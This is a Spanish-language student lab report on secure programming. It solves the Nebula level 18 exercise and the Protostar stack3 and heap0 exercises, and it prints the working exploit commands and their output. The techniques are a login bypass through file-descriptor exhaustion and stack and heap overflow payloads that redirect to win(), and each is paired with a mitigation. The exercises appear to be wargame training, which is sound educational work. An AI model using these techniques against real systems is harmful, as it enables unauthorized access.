2017

Actividad 8: Programación segura en entornos nativos

SEGURIDAD INFORMÁTICA

ORQUIDEA SEIJAS

CONTENIDO

1. PRIMERA PARTE

a. EJERCICIO 1.5

i. Vulnerabilidad explotada

En este caso, se ha decidido explotar una vulnerabilidad encontrada en el fichero*/home/flag18/flag18*, concretamente en la función *login()*. Ya que, si se salta la estructura condicional principal de estas funciones, será posible acceder a una shell. El *if* consiste en comprobar el valor de un tipo de dato **FILE* con el fin de saber si se ha leído correctamente un archivo. Si se salta este *if*, será posible contar con un valor verdadero (1) de *global.loggedin* durante el resto de la ejecución.

En primer lugar, se revisaron los permisos asociados al fichero *password* con el fin de confirmar que no se tenían permisos para borrarlo.

```
level18@nebula:/home/nebula$ ls -l /home/flag18/password
-rw------- 1 flag18 flag18 37 2011-11-20 21:22 /home/flag18/password
```

A continuación, se buscaron formas alternativas de evitar la lectura de un fichero en sistemas *Linux* y se dio con el comando *ulimit*, que permite realizar la limitación de apertura de archivos, entre otras muchas cosas.

En primer lugar, se limitó el permiso de apertura a un único archivo con *ulimit -n 1*. Esto provocó un error de tal magnitud que fue necesario reiniciar la máquina virtual exteriormente, tal y como se aprecia en la siguiente figura.

```
level18@nebula:/home/nebula$ ulimit -n 1
level18@nebula:/home/nebula$ /home/flag18/flag18 -d /dev/tty -vvvvv
bash: start_pipeline: pgrp pipe: Too many open files
/home/flag18/flag18: error while loading shared libraries: libc.so.6: cannot open s
hared object file: Error 24
level18@nebula:/home/nebula$ ulimit -n 2
bash: ulimit: open files: cannot modify limit: Operation not permitted
level18@nebula:/home/nebula$ reboot
bash: start_pipeline: pgrp pipe: Too many open files
reboot: error while loading shared libraries: libnih.so.1: cannot open shared objec
t file: Error 24
level18@nebula:/home/nebula$
```

El siguiente paso fue probar con dos archivos como límite, pero sucedió exactamente lo mismo que con el límite en 1. Con tres archivos también se produjo este error. Sin embargo, con cuatro archivos sí que fue posible ejecutar el programa pero tal y como se puede ver, se produjo un error asociado a la limitación de archivos:

```
level18@nebula:/home/nebula$ /home/flag18/flag18 -d /dev/tty -vvvv
bash: start_pipeline: pgrp pipe: Too many open files
Starting up. Verbose level = 4
login
got [login] as input
attempting to login
logged in successfully (without password file)
shell
got [shell] as input
attempting to start shell
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot
open shared object file: Error 24
```

Sin embargo, tras estudiar el código fuente, fue posible realizar el cierre de un archivo, utilizando la opción *closelog*. En este caso sí fue posible acceder a la shell interactiva.

```
pen shared object file: Error 24
evel18@nebula:/home/nebula$ /home/flag18/flag18 -d /dev/tty -vvvv
ash: start_pipeline: pgrp pipe: Too many open files
tarting up. Verbose level = 4
ogin
ot [login] as input
ttempting to login
ogged in successfully (without password file)
loselog
ot [closelog] as input
hell
home/flag18/flag18: -d: invalid option
sage:  /home/flag18/flag18 [GNU long option] [option] ...
       /home/flag18/flag18 [GNU long option] [option] script-file ...
NU long options:
       --debug
       --debugger
       --dump-po-strings
       --dump-strings
```

Sin embargo, tal y como se explica en el enunciado, los argumentos pasados a la Shell que crea flag18, son los mismos que los del ejecutable flag18 y, por lo tanto, tiene opciones no válidas:*-d*. Para solucionar esto, se ha empleado el argumento –init-file:

```
level18@nebula:/home/nebula$ /home/flag18/flag18 --init-file -d /dev/tty -vvvvv
bash: start_pipeline: pgrp pipe: Too many open files
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 5
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
ls
Desktop
```

Así pues, finalmente ha sido posible acceder a la Shell interactiva y ejecutar un comando (*ls*).

ii. Cómo evitarla

En este caso, la forma más fácil de evitar la vulnerabilidad es reestructurar el código de forma tal que la variable asociada al *login* solo sea verdadera en casos reales. Es por ello que es recomendable no asignar un valor verdadero hasta que se hayan cumplido todas las condiciones.

2. SEGUNDA PARTE

a. EJERCICIO 2.1

i. Vulnerabilidad explotada

En este caso, se ha explotado la vulnerabilidad asociada a una pila sin protección, utilizando desbordamiento de pila. Tras revisar el archivo, ha sido posible notar que el *buffer* a través del que se introduce información tiene un tamaño de 64 bytes, sin protección. Puesto que lo que se deseaba hacer era redirigir el flujo a la función *win*, fue necesario estudiar en qué dirección de memoria estaba la función, con el comando *objdump -d /opt/protestar/bin/stack3*. Se obtuvo la siguiente dirección:

```
08048424 <win>:
 8048424:       55
```

Puesto que se quiere acceder a esta dirección, es necesario incluirla en la acción que se realice para explotar la vulnerabilidad. Esto se ha hecho, utilizando *echo* con 64 letras, que ocupan 1 byte, y la dirección de memoria a la que se desea acceder:

```
user@protostar:~$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa\x24\x84\x04\x08" |  /opt/protostar/bin/stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
```

Cabe destacar que, puesto que se trata de una arquitectura *Little Endian*, el orden de los bytes es inverso al intuitivo.

ii. Cómo evitarla

Puesto que *gets* no es una función segura si el programador no tiene total control sobre la entrada, es recomendable no utilizarla.

b. EJERCICIO 2.2

i. Vulnerabilidad explotada

En este caso también se realiza un ataque por desbordamiento, pero relacionado con el *heap* en lugar de con la pila. Tras revisar el código fuente, ha sido posible notar que los dos punteros que se imprimen por pantalla se corresponden, respectivamente, con la dirección de memoria de una copia de la cadena de texto que se acepta como argumento y la dirección de memoria en la que se almacena el puntero de la función que es llamada por el programa antes de finalizar su ejecución. Estos dos punteros impresos son los siguientes:

```
data is at 0x804a008, fp is at 0x804a050
```

Si se restan dichas direcciones de memoria se obtiene que la diferencia entre ambas es de 72 bytes. Por tanto, se deben introducir como argumento de entrada una cadena que contenga 72 bytes de relleno, seguidos de la carga útil de cara al ataque, los bytes correspondientes a la dirección de memoria de la función que se quiere ejecutar.

```
user@protostar:~$ /opt/protostar/bin/heap0 `echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x64\x84\x04\x08"`
data is at 0x804a008, fp is at 0x804a050
level passed
```

ii. Cómo evitarla

La aproximación más sencilla para evitar esta vulnerabilidad consiste en añadir una estructura condicional al código. Se comprobaría si la entrada recibida como argumento se ajusta al límite máximo de tamaño impuesto por las limitaciones de las estructuras de datos presentes en el código. En caso de que esto no sucediese, se debería abortar el programa de forma inmediata, cerrando toda posibilidad a la explotación de la vulnerabilidad.

REFERENCIAS

Setting limits with ulimit. 2012. Sandra Henry-Stocker. *Network World.*https://www.networkworld.com/article/2693414/operating-systems/setting-limits-with-ulimit.html [Última visita: 16/11/17]

Endiannes. Wikipedia. https://es.wikipedia.org/wiki/Endianness [Última visita: 16/11/17]